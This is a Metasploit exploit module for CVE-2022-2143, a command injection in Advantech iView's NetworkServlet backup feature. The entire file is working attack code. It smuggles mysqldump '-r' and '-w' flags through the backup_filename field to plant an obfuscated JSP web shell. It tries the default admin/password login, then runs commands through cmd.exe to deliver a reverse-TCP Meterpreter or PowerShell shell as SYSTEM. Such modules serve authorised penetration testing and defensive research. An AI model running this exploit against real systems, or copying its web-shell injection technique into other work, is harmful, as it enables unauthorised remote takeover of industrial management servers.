## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::CmdStager include Msf::Exploit::Remote::HttpClient prepend Msf::Exploit::Remote::AutoCheck include Msf::Exploit::FileDropper def initialize(info = {}) super( update_info( info, 'Name' => 'Advantech iView NetworkServlet Command Injection', 'Description' => %q{ Versions of Advantech iView software below `5.7.04.6469` are vulnerable to an unauthenticated command injection vulnerability via the `NetworkServlet` endpoint. The database backup functionality passes a user-controlled parameter, `backup_file` to the `mysqldump` command. The sanitization functionality only tests for SQL injection attempts and directory traversal, so leveraging the `-r` and `-w` `mysqldump` flags permits exploitation. The command injection vulnerability is used to write a payload on the target and achieve remote code execution as NT AUTHORITY\SYSTEM. }, 'License' => MSF_LICENSE, 'Author' => [ 'rgod', # Vulnerability discovery 'y4er', # PoC 'Shelby Pace' # Metasploit module ], 'References' => [ [ 'URL', 'https://y4er.com/post/cve-2022-2143-advantech-iview-networkservlet-command-inject-rce/'], [ 'CVE', '2022-2143'] ], 'Platform' => [ 'win' ], 'Privileged' => true, 'Arch' => [ ARCH_X86, ARCH_X64, ARCH_CMD ], 'Targets' => [ [ 'Windows Dropper', { 'Arch' => [ ARCH_X86, ARCH_X64 ], 'Type' => :win_dropper, 'CmdStagerFlavor' => [ 'psh_invokewebrequest', 'vbs' ], 'DefaultOptions' => { 'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp' } } ], [ 'Windows Command', { 'Arch' => ARCH_CMD, 'Type' => :win_cmd, 'DefaultOptions' => { 'PAYLOAD' => 'cmd/windows/powershell_reverse_tcp' } } ] ], 'DisclosureDate' => '2022-06-28', 'DefaultTarget' => 0, 'Notes' => { 'Stability' => [ CRASH_SAFE ], 'Reliability' => [ REPEATABLE_SESSION ], 'SideEffects' => [ IOC_IN_LOGS, ARTIFACTS_ON_DISK ] } ) ) register_options( [ Opt::RPORT(8080), OptString.new('TARGETURI', [ true, 'The base path to Advantech iView', '/iView3']), OptString.new('USERNAME', [ false, 'The user name to authenticate with', 'admin']), OptString.new('PASSWORD', [ false, 'The password to authenticate with', 'password']) ] ) end def check res = send_request_cgi!( 'method' => 'GET', 'uri' => normalize_uri(target_uri.path) ) return CheckCode::Unknown('Failed to receive a response from the application') unless res unless res.body.include?('iView') return CheckCode::Safe('No confirmation that target is Advantech iView') end res = send_db_backup_request('') return CheckCode::Detected('Failed to receive response from backup request') unless res # The patch added auth as a requirement for # accessing the NetworkServlet endpoint if res.body =~ /ERROR:\s+User\s+Not\sLogin/ @needs_auth = true print_status('Vulnerability is present, though authentication is required.') end CheckCode::Appears end def send_db_backup_request(filename) send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'NetworkServlet'), 'keep_cookies' => true, 'vars_post' => { 'page_action_type' => 'backupDatabase', 'backup_filename' => filename } ) end def format_jsp bin_nums = [] arg_nums = [] flag_nums = [] bin_param.each_char { |c| bin_nums << c.ord } bin_nums = bin_nums.join(',') arg_param.each_char { |c| arg_nums << c.ord } arg_nums = arg_nums.join(',') flag_param.each_char { |c| flag_nums << c.ord } flag_nums = flag_nums.join(',') '<%=new String(com.sun.org.apache.xml.internal.security.utils.JavaUtils.getBytesFromStream((' \ 'new ProcessBuilder(request.getParameter(' \ "new java.lang.String(new byte[]{#{bin_nums}}))," \ "request.getParameter(new java.lang.String(new byte[]{#{flag_nums}}))," \ "request.getParameter(new java.lang.String(new byte[]{#{arg_nums}}))).start())" \ '.getInputStream()))%>' end def flag_param @flag_param ||= Rex::Text.rand_text_alpha(3..8) end def arg_param @arg_param ||= Rex::Text.rand_text_alpha(3..8) end def bin_param @bin_param ||= Rex::Text.rand_text_alpha(3..8) end def jsp_filename @jsp_filename ||= "#{Rex::Text.rand_text_alpha(5..12)}.jsp" end def execute_command(cmd, _opts = {}) send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, jsp_filename), 'keep_cookies' => true, 'vars_get' => { bin_param => 'cmd.exe', flag_param => '/c', arg_param => cmd } ) end def iview_authenticate res = send_request_cgi!( 'method' => 'GET', 'uri' => normalize_uri(target_uri.path) ) fail_with(Failure::UnexpectedReply, 'Login page not found') unless res && res.body.include?('loginWindow') vprint_good('Successfully accessed the login page') res = send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'CommandServlet'), 'keep_cookies' => true, 'vars_post' => { 'page_action_service' => 'UserServlet', 'page_action_type' => 'login', 'user_name' => datastore['USERNAME'], 'user_password' => datastore['PASSWORD'], 'use_ldap' => 'false', 'data' => '' } ) unless res && res.body.include?('Success') fail_with(Failure::BadConfig, 'Authentication failed. Credentials likely incorrect.') end vprint_good('Authentication successful!') end def need_auth? res = send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'NetworkServlet') ) return false unless res !!(res.body =~ /ERROR:\s+User\s+Not\sLogin/) end def exploit if @needs_auth || need_auth? iview_authenticate end jsp_code = format_jsp sql_filename = "#{Rex::Text.rand_text_alpha(5..12)}.sql" full_cmd = "#{sql_filename}\" -r \"./webapps/iView3/#{jsp_filename}\" -w \"#{jsp_code}\"" res = send_db_backup_request(full_cmd) fail_with(Failure::UnexpectedReply, 'Failed to write JSP file to target') unless res path = "webapps\\iView3\\#{jsp_filename}" register_file_for_cleanup(path) if target['Type'] == :win_dropper execute_cmdstager else execute_command(payload.encoded) end end end